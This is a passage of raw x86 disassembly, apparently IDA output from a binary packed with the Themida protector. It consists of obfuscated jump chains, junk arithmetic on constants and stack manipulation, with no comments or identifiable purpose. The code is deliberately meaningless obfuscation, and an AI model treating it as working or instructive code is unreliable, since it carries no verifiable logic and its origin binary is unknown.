		mov	esi, [esp+0]
		add	esp, 4
		sub	eax, edi
		sub	eax, 6DBD6224h
		push	[esp+1Eh+var_20+2]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_589C23
; ---------------------------------------------------------------------------


loc_58C67E:				; CODE XREF: sub_584787+7668j
		add	ebx, 4
		jmp	loc_58D209
; ---------------------------------------------------------------------------


loc_58C689:				; CODE XREF: sub_584787+95Dj
		pop	ecx
		push	edi
		push	esi
		push	ecx
		jmp	loc_58E165
; ---------------------------------------------------------------------------


loc_58C692:				; CODE XREF: sub_584787+A82j
		neg	ecx
		shr	ecx, 8
		and	ecx, 40DF1A10h
		sub	ecx, 0A2EEF2AAh
		mov	esi, ecx
		pop	ecx
		and	esi, 6CDC565Ah
		shr	esi, 5
		add	esi, 4F816075h
		push	ebx
		mov	ebx, 51E56093h
		xor	esi, ebx
		pop	ebx
		sub	eax, 77645282h
		push	ebx
		mov	ebx, 5FC7575Dh
		sub	eax, ebx
		mov	ebx, [esp+4Eh+var_4E]
		add	esp, 4
		add	eax, esi
		add	eax, 5FC7575Dh
		jmp	loc_58F464
; ---------------------------------------------------------------------------


loc_58C6E0:				; CODE XREF: sub_584787+905Bj
		pop	edi
		sub	esi, 7F161C74h
		add	esi, eax
		add	esi, 7F161C74h
		add	esi, 417B4A06h
		push	0E89h
		jmp	loc_589BFE
; ---------------------------------------------------------------------------


loc_58C6FF:				; CODE XREF: sub_584787+587Aj
		push	78682E1Eh
		mov	ebx, [esp+0]
		add	esp, 4
		shr	ebx, 3
		sub	ebx, 0A5CDD48Bh
		jmp	loc_58AE8F
; ---------------------------------------------------------------------------


loc_58C71B:				; CODE XREF: sub_584787+659Dj
		sub	esi, 6BEF2685h
		jmp	loc_58F52D
; ---------------------------------------------------------------------------


loc_58C726:				; CODE XREF: sub_584787+17AAj
		mov	ebx, 2
		add	ecx, ebx
		pop	ebx
		jmp	loc_58FCC8
; ---------------------------------------------------------------------------


loc_58C733:				; CODE XREF: sub_584787+90C8j
		sub	eax, 0FFFFFFFFh
		xor	eax, 0D3B0FC8h
		neg	eax
		shr	eax, 7
		push	ebx
		mov	ebx, 7DE17615h
		sub	eax, ebx
		pop	ebx
		mov	ebx, eax
		pop	eax
		add	ebx, 201227BFh
		add	ebx, edi
		sub	ebx, 201227BFh
		jmp	loc_58D771
; ---------------------------------------------------------------------------


loc_58C761:				; CODE XREF: sub_584787+1AD4j
		mov	ebx, 0
		add	ebx, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+5Ah+var_5C+2]
		pop	esp
		mov	[esp+56h+var_58+2], ecx
		mov	cl, al
		mov	[ebx], cl
		jmp	loc_588A70
; ---------------------------------------------------------------------------


loc_58C784:				; CODE XREF: sub_584787+9857j
		xchg	ebp, [esp+56h+var_58+2]
		pop	esp
		jmp	loc_58A37C
; ---------------------------------------------------------------------------


loc_58C78D:				; CODE XREF: sub_584787+90DDj
		mov	[esp+52h+var_54+2], ecx
		push	[esp+52h+var_4E]
		mov	ecx, [esp+56h+var_58+2]
		jmp	loc_58807D
; ---------------------------------------------------------------------------


loc_58C79C:				; CODE XREF: sub_584787+199j
		mov	ebx, esp
		push	edi
		mov	edi, 1B486B90h
		jmp	loc_58F191
; ---------------------------------------------------------------------------


loc_58C7A9:				; CODE XREF: sub_584787+2F46j
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		add	esp, 4
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_58F41D
; ---------------------------------------------------------------------------


loc_58C7C9:				; CODE XREF: sub_584787+9E47j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_589C99
; ---------------------------------------------------------------------------


loc_58C7D9:				; CODE XREF: sub_584787+BE1Cj
		add	ch, 21h
		jmp	loc_58855E
; ---------------------------------------------------------------------------


loc_58C7E1:				; CODE XREF: Themida_:00584502j
		add	esp, 4
		add	esp, 4
		push	ebx
		jmp	loc_588D93
; ---------------------------------------------------------------------------


loc_58C7F0:				; CODE XREF: sub_584787+AEB0j
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_586001
; ---------------------------------------------------------------------------


loc_58C7F8:				; CODE XREF: sub_584787+188j
		add	esi, 4
		jmp	loc_58831B
; ---------------------------------------------------------------------------


loc_58C803:				; CODE XREF: sub_584787+8D4Aj
		jmp	loc_58853E
; ---------------------------------------------------------------------------


loc_58C808:				; CODE XREF: sub_584787+5FDCj
		mov	esi, [esp+0]
		push	ecx
		jmp	loc_5896AB
; ---------------------------------------------------------------------------


loc_58C811:				; CODE XREF: sub_584787+544Ej
		mov	ebx, edi
		jmp	loc_58C98C
; ---------------------------------------------------------------------------


loc_58C818:				; CODE XREF: sub_584787+132Bj
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_58B14D
; ---------------------------------------------------------------------------


loc_58C82A:				; DATA XREF: Themida_:00584380o
		lodsd
		push	5D60h
		mov	[esp+14h+var_14], edx
		mov	edx, 3F51101Eh
		push	0
		sub	[esp+18h+var_18], edx
		pop	edx
		xor	edx, 6DB727CAh
		sub	edx, 34DD51B4h
		dec	edx
		or	edx, 321B2784h
		push	esi
		mov	esi, 0E810DE03h
		add	edx, esi
		pop	esi
		sub	eax, edx
		mov	edx, [esp+14h+var_14]
		jmp	loc_586548
; ---------------------------------------------------------------------------


loc_58C867:				; CODE XREF: sub_584787+B7BDj
		pop	ebx
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		jmp	loc_587DB4
; ---------------------------------------------------------------------------


loc_58C876:				; CODE XREF: sub_584787+BEC3j
		mov	ch, 7Ch
		neg	ch
		sub	ch, 0F3h
		sub	ch, 0B4h
		add	ch, 1Fh
		add	ch, 0E1h
		add	bh, 0E0h
		add	bh, ch
		sub	bh, 0E0h
		pop	ecx
		sub	bh, cl
		sub	bh, 0DDh
		jmp	loc_586147
; ---------------------------------------------------------------------------


loc_58C899:				; CODE XREF: sub_584787+8CB1j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+14h+var_14]
		jmp	loc_585A08
; ---------------------------------------------------------------------------


loc_58C8AE:				; CODE XREF: sub_584787+33B3j
		shl	ebp, 2
		sub	ebp, 0FB492CFCh
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 46AE311Fh
		dec	esi
		neg	esi
		shr	esi, 7
		jmp	loc_58B2B0
; ---------------------------------------------------------------------------


loc_58C8CB:				; CODE XREF: sub_584787+C48j
		xor	ecx, 0EF86EF8h
		not	ecx
		sub	ecx, 45A34F4Eh
		jmp	loc_58E2B6
; ---------------------------------------------------------------------------


loc_58C8DE:				; CODE XREF: sub_584787+1090j
		push	[esp+20h+var_20]
		pop	esi
		add	esp, 4
		push	edx
		push	esp
		jmp	loc_588F9F
; ---------------------------------------------------------------------------


loc_58C8EF:				; CODE XREF: sub_584787+652Aj
		push	180Ch
		mov	[esp+0Ah+var_C+2], eax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C8FC:				; CODE XREF: sub_584787+4A10j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+16h+var_18+2]
		jmp	loc_58556F
; ---------------------------------------------------------------------------


loc_58C913:				; CODE XREF: sub_584787+9640j
		not	dx
		shr	dx, 2
		add	dx, 0E9C8h
		push	small 6316h
		mov	word ptr [esp+18h+var_18], ax
		mov	ax, 2A49h
		jmp	loc_58482A
; ---------------------------------------------------------------------------


loc_58C930:				; CODE XREF: sub_584787+565Bj
		push	ebx
		mov	ebx, 4F5D15BCh
		jmp	loc_585FD7
; ---------------------------------------------------------------------------


loc_58C93B:				; CODE XREF: sub_584787+8B6Bj
		xchg	ebx, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		jmp	loc_5868AA
; ---------------------------------------------------------------------------


loc_58C946:				; CODE XREF: sub_584787+9A51j
		xor	bh, 6Ah
		push	eax
		jmp	loc_58E53E
; ---------------------------------------------------------------------------


loc_58C94F:				; CODE XREF: sub_584787+24F7j
		push	eax
		push	6B91h
		mov	[esp+4+var_4], esi
		push	59386612h
		pop	esi
		xor	esi, 59386616h
		mov	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		xor	edx, [esp-4+arg_0]
		xor	[esp-4+arg_0], edx
		xor	edx, [esp-4+arg_0]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_588A8E
; ---------------------------------------------------------------------------


loc_58C97C:				; CODE XREF: sub_584787+B97Dj
		mov	bh, 68h
		xor	bh, ah
		pop	eax
		sub	bh, 5Fh
		push	edx
		mov	dl, 3
		jmp	loc_589541
; ---------------------------------------------------------------------------


loc_58C98C:				; CODE XREF: sub_584787+808Cj
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], edi
		mov	edi, 0BDAF596Bh
		jmp	loc_588A0B
; ---------------------------------------------------------------------------


loc_58C9AA:				; CODE XREF: sub_584787+AD37j
		add	esp, 4
		jmp	loc_589B6D
; ---------------------------------------------------------------------------


loc_58C9B2:				; CODE XREF: sub_584787+A3C4j
		push	edx
		push	ecx
		mov	ecx, 1CE2572Eh
		or	ecx, 7C0C1269h
		not	ecx
		sub	ecx, 4D5C6E71h
		shl	ecx, 4
		add	ecx, 0D2309038h
		jmp	loc_58AFF6
; ---------------------------------------------------------------------------


loc_58C9D5:				; CODE XREF: sub_584787+5BA9j
		sub	edx, 0BA3BE12h
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_58C2E5
; ---------------------------------------------------------------------------


loc_58C9E9:				; CODE XREF: sub_584787+93B9j
		push	ebp
		mov	ebp, 203F44A6h
		add	ebp, 3A4944A3h
		jmp	loc_58D4F7
; ---------------------------------------------------------------------------


loc_58C9FA:				; CODE XREF: sub_584787+2DC8j
		and	eax, ebp
		pop	ebp
		jmp	loc_58B907
; ---------------------------------------------------------------------------


loc_58CA02:				; CODE XREF: sub_584787+7ABEj
		pop	edi
		jmp	loc_58F2AD
; ---------------------------------------------------------------------------


loc_58CA08:				; CODE XREF: sub_584787+3700j
		pop	ecx
		not	ecx
		shr	ecx, 3
		sub	ecx, 0FFFFFFFFh
		push	esi
		jmp	loc_589F14
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	[esp+46h+var_46]
		pop	eax
		sub	esp, 4
		mov	[esp+0], ecx
		sub	esp, 4
		mov	[esp+4Eh+var_4E], esp
		add	[esp+4Eh+var_4E], 4
		pop	ecx
		jmp	loc_586150
; ---------------------------------------------------------------------------


loc_58CA41:				; CODE XREF: sub_584787+BF32j
		xor	ebx, ecx
		jmp	loc_58D308
; ---------------------------------------------------------------------------


loc_58CA48:				; CODE XREF: sub_584787+7888j
		add	esp, 4
		push	edx
		mov	edx, 597F0928h
		jmp	loc_589AAF
; ---------------------------------------------------------------------------


loc_58CA56:				; CODE XREF: sub_584787+A04Ej
		xor	eax, ebx
		mov	ebx, [esp+8+var_8]
		jmp	loc_589CA4
; ---------------------------------------------------------------------------


loc_58CA60:				; CODE XREF: sub_584787+7C49j
		mov	esp, [esp+16h+var_18+2]
		push	[esp+16h+var_18+2]
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+1Eh+var_1C+2]
		pop	edi
		pop	[esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+16h+var_18+2], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 472F1C77h
		xor	esi, 472F1C73h
		add	ebp, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		add	ebp, 46452BF1h
		add	ebp, ebx
		jmp	loc_58F21C
; ---------------------------------------------------------------------------


loc_58CAAC:				; CODE XREF: sub_584787+96FDj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58CAB1:				; CODE XREF: sub_584787+5979j
		mov	ah, 35h
		jmp	loc_584935
; ---------------------------------------------------------------------------


loc_58CAB8:				; CODE XREF: sub_584787+774Fj
		push	esi
		jmp	loc_590717
; ---------------------------------------------------------------------------


loc_58CABE:				; CODE XREF: sub_584787+61A8j
		xor	ecx, 2ABD8DEh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_58B83A
; ---------------------------------------------------------------------------


loc_58CACC:				; CODE XREF: sub_584787+2211j
		sub	dword ptr [esp+0], 9A55536h
		pop	ebx
		add	ebx, 9A55536h
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		shr	ebx, 7
		push	edi
		mov	edi, 4C726C76h
		xor	ebx, edi
		pop	edi
		sub	ebx, 188C7111h
		add	ebx, 9D72952h
		xor	eax, ebx
		pop	ebx
		xor	eax, 38E7C999h
		mov	ebp, eax
		mov	eax, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_58F2BF
; ---------------------------------------------------------------------------


loc_58CB10:				; CODE XREF: sub_584787+40ECj
		mov	[esp+18h+var_18], edx
		push	ecx
		push	52B067E2h
		pop	ecx
		dec	ecx
		dec	ecx
		xor	ecx, 78C4038Fh
		mov	edx, ecx
		pop	ecx
		and	esi, edx
		pop	edx
		push	ebp
		mov	ebp, 42EE55AFh
		jmp	loc_58AECF
; ---------------------------------------------------------------------------


loc_58CB33:				; CODE XREF: sub_584787+4D77j
		mov	[esp+4+var_4], ebp
		mov	ebp, 4
		sub	edx, 4A546E0Eh
		add	edx, ebp
		jmp	loc_58B80C
; ---------------------------------------------------------------------------


loc_58CB48:				; CODE XREF: sub_584787+3D35j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_587228
; ---------------------------------------------------------------------------


loc_58CB55:				; CODE XREF: sub_5906EA+1Ej
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		push	edi
		push	esi
		mov	esi, 4
		jmp	loc_58EB1B
; ---------------------------------------------------------------------------


loc_58CB6E:				; CODE XREF: sub_584787+63A7j
		mov	eax, 22887672h
		sub	[esp+10h+var_C], eax
		pop	eax
		jmp	loc_58DF55
; ---------------------------------------------------------------------------


loc_58CB7D:				; CODE XREF: sub_584787+A263j
		push	esi
		jmp	loc_58D854
; ---------------------------------------------------------------------------


loc_58CB83:				; CODE XREF: sub_584787+8E74j
		pop	eax
		jmp	loc_586ABE
; ---------------------------------------------------------------------------


loc_58CB89:				; CODE XREF: sub_584787+BF49j
		push	ebx
		jmp	loc_58FEF4
; ---------------------------------------------------------------------------


loc_58CB8F:				; CODE XREF: sub_584787+A07Dj
		pop	ebp
		pop	edi
		jmp	loc_58EAC0
; ---------------------------------------------------------------------------


loc_58CB96:				; CODE XREF: sub_584787+B5EBj
		sub	edx, 2
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	word ptr [esp+8+var_8],	bx
		mov	bx, 0F754h
		jmp	loc_588246
; ---------------------------------------------------------------------------


loc_58CBAF:				; CODE XREF: sub_584787+6024j
		not	edx
		push	eax
		mov	eax, 4B583B61h
		or	eax, 274FE4h
		jmp	loc_58C528
; ---------------------------------------------------------------------------


loc_58CBC1:				; CODE XREF: sub_584787+7557j
		sub	ebx, 72A1657Fh
		sub	esp, 4
		mov	[esp+38h+var_38], ebx
		push	edi
		push	7F891DA6h
		mov	edi, [esp+40h+var_42+2]
		add	esp, 4
		xor	edi, 6AE00D94h
		jmp	loc_589935
; ---------------------------------------------------------------------------


loc_58CBE7:				; CODE XREF: sub_584787+8DE6j
		pop	ecx
		jmp	loc_58DE3D
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+38h+var_38]
		jmp	loc_586179
; ---------------------------------------------------------------------------


loc_58CBF6:				; CODE XREF: sub_584787+5960j
		mov	ebp, [esp+5Ah+var_5C+2]
		add	esp, 4
		add	edx, esi
		add	edx, 16C865AAh
		pop	esi
		push	ebp
		jmp	loc_58BC7D
; ---------------------------------------------------------------------------


loc_58CC0B:				; CODE XREF: sub_584787+1175j
		mov	eax, esp
		add	eax, 4
		push	3EF1h
		mov	[esp+1Ah+var_1C+2], ecx
		push	ebx
		jmp	loc_58E560
; ---------------------------------------------------------------------------


loc_58CC20:				; CODE XREF: sub_584787+203Aj
		mov	[esp+0], ecx
		jmp	loc_58E101
; ---------------------------------------------------------------------------


loc_58CC28:				; CODE XREF: sub_584787+A916j
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	eax, [esp+0]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 7C90789Ch
		neg	edx
		xor	edx, 836F8760h
		push	edx
		mov	edx, 494959B7h
		jmp	loc_58FDB5
; ---------------------------------------------------------------------------


loc_58CC56:				; CODE XREF: sub_584787+110Dj
		xor	ah, 8Ah
		add	cl, ah
		jmp	loc_5874FC
; ---------------------------------------------------------------------------


loc_58CC60:				; DATA XREF: Themida_:00584314o
		mov	ax, word ptr [esp+24h+var_26+2]
		jmp	loc_58FF98
; ---------------------------------------------------------------------------


loc_58CC69:				; DATA XREF: Themida_:00584280o
		lodsd
		xor	eax, ebx
		push	ebp
		push	7087h
		mov	[esp+2Ch+var_2C], esp
		add	[esp+2Ch+var_2C], 4
		jmp	loc_58EFE4
; ---------------------------------------------------------------------------


loc_58CC7E:				; DATA XREF: Themida_:0058426Co
		pop	dword ptr [edi+40h]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58CC86:				; CODE XREF: sub_584787+172j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp+10h+var_10]
		jmp	loc_585E52
; ---------------------------------------------------------------------------


loc_58CC96:				; CODE XREF: sub_584787+8684j
		mov	esi, 4000h
		jmp	loc_58F97E
; ---------------------------------------------------------------------------


loc_58CCA0:				; DATA XREF: Themida_:0058437Co
		mov	ax, word ptr [esp+10h+var_10]
		push	ebp
		mov	ebp, esp
		push	717Eh
		mov	[esp+18h+var_18], edi
		mov	edi, 26182108h
		push	ecx
		jmp	loc_5878FF
; ---------------------------------------------------------------------------


loc_58CCBA:				; CODE XREF: sub_584787+1809j
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_58B1A5
; ---------------------------------------------------------------------------


loc_58CCCB:				; CODE XREF: sub_584787+422Aj
		push	2ACC6344h
		pop	edi
		shl	edi, 1
		jmp	loc_58AE99
; ---------------------------------------------------------------------------


loc_58CCD8:				; CODE XREF: sub_584787+A8B1j
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	ebx
		push	esp
		jmp	loc_58BEA3
; ---------------------------------------------------------------------------


loc_58CCE6:				; CODE XREF: sub_584787+AA16j
		neg	edx
		xor	edx, 7751165Dh
		xor	edx, 6B1A68E5h
		xor	edx, 17216C2Bh
		jmp	loc_5876A2
; ---------------------------------------------------------------------------


loc_58CCFF:				; CODE XREF: sub_584787+9FB3j
		sub	eax, 4
		jmp	loc_58ED55
; ---------------------------------------------------------------------------


loc_58CD09:				; CODE XREF: sub_584787+4DF6j
		mov	[esp+0], edi
		jmp	loc_58AD34
; ---------------------------------------------------------------------------


loc_58CD11:				; CODE XREF: sub_584787+6385j
		push	ecx
		not	[esp+38h+var_38]
		pop	ecx
		xor	ecx, 9C4F16BDh
		mov	edx, ecx
		pop	ecx
		jmp	loc_58AF91
; ---------------------------------------------------------------------------


loc_58CD24:				; CODE XREF: sub_584787+4B52j
		xor	ebx, 0AC594Bh
		push	ebx
		jmp	loc_58E07F
; ---------------------------------------------------------------------------


loc_58CD30:				; CODE XREF: sub_584787+11E5j
		xor	edx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebp
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		jmp	loc_588BF5
; ---------------------------------------------------------------------------


loc_58CD50:				; CODE XREF: sub_584787+F09j
		pop	ecx
		pop	[esp-14h+arg_E+2]
		pop	esp
		mov	[esp-1Ch+arg_18], ebp
		mov	ebp, 6B3906C3h
		shl	ebp, 5
		jmp	loc_58A6DA
; ---------------------------------------------------------------------------


loc_58CD65:				; CODE XREF: sub_584787+88E9j
		pop	ebp
		push	ecx
		push	1D2F1B8Ah
		pop	ecx
		jmp	loc_586892
; ---------------------------------------------------------------------------


loc_58CD72:				; CODE XREF: sub_584787+B76Fj
		mov	cl, bl
		mov	ebx, [esp-1Ch+arg_18]
		add	esp, 4
		mov	eax, [esp-20h+arg_1C]
		add	esp, 4
		jmp	loc_58FEE2
; ---------------------------------------------------------------------------


loc_58CD8B:				; CODE XREF: sub_584787+86D4j
		pop	ebx
		xchg	edi, [esp-28h+arg_24]
		pop	esp
		push	1759h
		mov	[esp-28h+arg_24], esi
		push	556h
		mov	[esp-24h+arg_20], edi
		mov	edi, 4
		mov	esi, edi
		mov	edi, [esp-24h+arg_20]
		add	esp, 4
		and	ecx, esi
		push	[esp-28h+arg_24]
		mov	esi, [esp-24h+arg_20]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		jmp	loc_58DA57
; ---------------------------------------------------------------------------


loc_58CDCC:				; CODE XREF: sub_584787+3787j
		mov	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		push	edi
		jmp	loc_58EE45
; ---------------------------------------------------------------------------


loc_58CDD8:				; CODE XREF: sub_584787+3D27j
		push	ebp
		mov	ebp, 26825931h
		sub	ebp, 41116C3Eh
		inc	ebp
		jmp	loc_5875FE
; ---------------------------------------------------------------------------


loc_58CDEA:				; CODE XREF: sub_584787+1BD1j
		pop	dword ptr [esp+0]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+46h+var_46]
		xor	[esp+46h+var_46], ebp
		xor	ebp, [esp+46h+var_46]
		pop	esp
		mov	[esp+42h+var_42], edi
		push	esi
		jmp	loc_58CC96
; ---------------------------------------------------------------------------


loc_58CE10:				; CODE XREF: sub_584787+9A8Ej
		and	word ptr [esp+46h+var_46], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58CE1A:				; CODE XREF: sub_584787+149Ej
		mov	eax, 6B2F6622h
		sub	eax, 0FFFFFFFFh
		jmp	loc_587632
; ---------------------------------------------------------------------------


loc_58CE29:				; CODE XREF: sub_584787+38BEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_58A06C
; ---------------------------------------------------------------------------


loc_58CE41:				; CODE XREF: sub_584787+E9j
		pop	esi
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		btr	word ptr [esp+14h+var_14], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58CE53:				; CODE XREF: sub_584787+1415j
		add	edi, ebx
		sub	edi, 2C7A1BBAh
		jmp	loc_58CD8B
; ---------------------------------------------------------------------------


loc_58CE60:				; CODE XREF: sub_584787+746Dj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		sub	edi, 226D46D3h
		sub	edi, 0B66290Bh
		add	edi, ecx
		add	edi, 0B66290Bh
		push	eax
		push	6E58h
		mov	[esp+0], ecx
		mov	ecx, 1E452EDCh
		neg	ecx
		push	eax
		mov	eax, 0
		sub	eax, ecx
		xchg	eax, ecx
		pop	eax
		push	edi
		push	esi
		mov	esi, 24E57748h
		jmp	loc_58ABA1
; ---------------------------------------------------------------------------


loc_58CEAF:				; CODE XREF: sub_584787+53CCj
		xor	ebp, 49916FB1h
		sub	ebp, 4D906FA6h
		sub	edx, ebp
		pop	ebp
		dec	edx
		sub	edx, 3431268h
		mov	edi, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_588C55
; ---------------------------------------------------------------------------


loc_58CED2:				; CODE XREF: sub_584787+B55Bj
		push	7B4Ah
		push	esp
		pop	[esp+54h+var_54]
		add	dword ptr [esp+0], 4
		pop	ebx
		push	edx
		jmp	loc_58D2C6
; ---------------------------------------------------------------------------


loc_58CEE9:				; CODE XREF: sub_584787+910Bj
		pop	eax
		add	esp, 4
		mov	ecx, [esp+0]
		jmp	loc_5872A4
; ---------------------------------------------------------------------------


loc_58CEF5:				; CODE XREF: sub_584787+4CD8j
		mov	ah, bl
		pop	ebx
		jmp	loc_58B2CD
; ---------------------------------------------------------------------------


loc_58CEFD:				; CODE XREF: sub_584787+710Ej
		mov	[esp+0Eh+var_10+2], edi
		push	esp
		pop	edi
		jmp	loc_5861E1
; ---------------------------------------------------------------------------


loc_58CF07:				; CODE XREF: sub_584787+56Cj
		mov	[esp+8+var_8], ecx
		push	ebx
		push	187046F7h
		pop	ebx
		shr	ebx, 6
		sub	ebx, 61B91Bh
		jmp	loc_5887A3
; ---------------------------------------------------------------------------


loc_58CF1F:				; CODE XREF: sub_584787+1474j
		pop	ebx
		sub	ebp, 2
		xchg	ebp, [esp+46h+var_46]
		pop	esp
		jmp	loc_58D27E
; ---------------------------------------------------------------------------


loc_58CF2F:				; DATA XREF: Themida_:005842C4o
		lodsb
		sub	esp, 4
		jmp	loc_58BC39
; ---------------------------------------------------------------------------


loc_58CF38:				; CODE XREF: sub_584787+4D60j
		push	ecx
		push	esi
		mov	esi, esp
		jmp	loc_58788C
; ---------------------------------------------------------------------------


loc_58CF41:				; CODE XREF: sub_584787+797Ej
		mov	ebx, 8CAA2111h
		add	ebp, ebx
		jmp	loc_588D6A
; ---------------------------------------------------------------------------


loc_58CF4D:				; CODE XREF: sub_584787+A650j
		xor	ecx, ebp
		pop	ebp
		jmp	loc_58F383
; ---------------------------------------------------------------------------


loc_58CF55:				; CODE XREF: sub_584787+55ABj
		add	edx, 4
		jmp	loc_58E95C
; ---------------------------------------------------------------------------


loc_58CF60:				; CODE XREF: sub_584787+8D0Dj
		push	69D8h
		mov	[esp+10h+var_10], ebx
		mov	ebx, 508EF1F8h
		xor	esi, ebx
		pop	ebx
		xor	eax, esi
		jmp	loc_58E125
; ---------------------------------------------------------------------------


loc_58CF77:				; CODE XREF: sub_584787+973Fj
		add	esp, 4
		push	55A5h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_585444
; ---------------------------------------------------------------------------


loc_58CF8A:				; CODE XREF: sub_584787+9431j
		shr	edx, 2
		sub	edx, 0E8A813D3h
		not	edx
		jmp	loc_587B4B
; ---------------------------------------------------------------------------


loc_58CF9A:				; CODE XREF: sub_584787+8D6Bj
		pop	edi
		add	ebx, 0D101A7h
		sub	ebx, ebp
		sub	ebx, 0D101A7h
		pop	ebp
		xor	ebx, [esp+4+var_4]
		jmp	loc_5877CE
; ---------------------------------------------------------------------------


loc_58CFB2:				; CODE XREF: sub_584787+A57Fj
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_58D61F
; ---------------------------------------------------------------------------


loc_58CFBB:				; CODE XREF: sub_584787+A576j
		pop	esp
		shl	eax, 1
		jmp	loc_58B019
; ---------------------------------------------------------------------------


loc_58CFC3:				; CODE XREF: sub_584787+2803j
		xor	esi, [esp-18h+arg_12+2]
		xor	[esp-18h+arg_12+2], esi
		xor	esi, [esp-18h+arg_12+2]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58CFD6:				; CODE XREF: sub_584787+46FFj
		add	esi, 22DC627Eh
		pop	ecx
		xor	esi, [esp+38h+var_38]
		xor	[esp+38h+var_38], esi
		xor	esi, [esp+38h+var_38]
		jmp	loc_58B6E9
; ---------------------------------------------------------------------------


loc_58CFEB:				; DATA XREF: Themida_:0058438Co
		mov	cx, word ptr [esp+38h+var_38]
		push	4EF3h
		mov	[esp+3Ch+var_3C], esi
		push	esp
		pop	esi
		push	41BCh
		jmp	loc_58902E
; ---------------------------------------------------------------------------


loc_58D003:				; CODE XREF: sub_584787+72E0j
		add	esp, 4
		push	ebx
		mov	bl, dl
		push	edx
		mov	dh, bl
		push	eax
		jmp	loc_587134
; ---------------------------------------------------------------------------


loc_58D015:				; CODE XREF: sub_584787+4430j
		mov	eax, 2E12092Ah
		push	ecx
		mov	ecx, 2B953D12h
		dec	ecx
		add	ecx, 3DFD1CB8h
		dec	ecx
		jmp	loc_58EB49
; ---------------------------------------------------------------------------


loc_58D02D:				; CODE XREF: sub_584787+29D5j
		add	edx, eax
		sub	edx, 6BB50099h
		push	ebp
		mov	ebp, 3036730Fh
		shr	ebp, 8
		not	ebp
		or	ebp, 3B7040EDh
		jmp	loc_584AD6
; ---------------------------------------------------------------------------


loc_58D04B:				; CODE XREF: sub_584787+5D95j
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 7DE53707h
		shl	esi, 5
		push	ebp
		mov	ebp, 100E2FC3h
		inc	ebp
		shr	ebp, 1
		sub	ebp, 0E1DD144Ah
		add	esi, ebp
		jmp	loc_58CD65
; ---------------------------------------------------------------------------


loc_58D075:				; CODE XREF: sub_584787+6CA4j
		mov	edx, 0A2BCA9CFh
		sub	edx, esi
		pop	esi
		jmp	loc_5845A1
; ---------------------------------------------------------------------------


loc_58D082:				; CODE XREF: sub_584787+A13Cj
		add	esp, 4
		shr	ecx, 0Ah
		jmp	loc_5895C8
; ---------------------------------------------------------------------------


loc_58D08D:				; CODE XREF: sub_584787+50CDj
		add	ebp, 0E7A7A010h
		mov	ecx, ebp
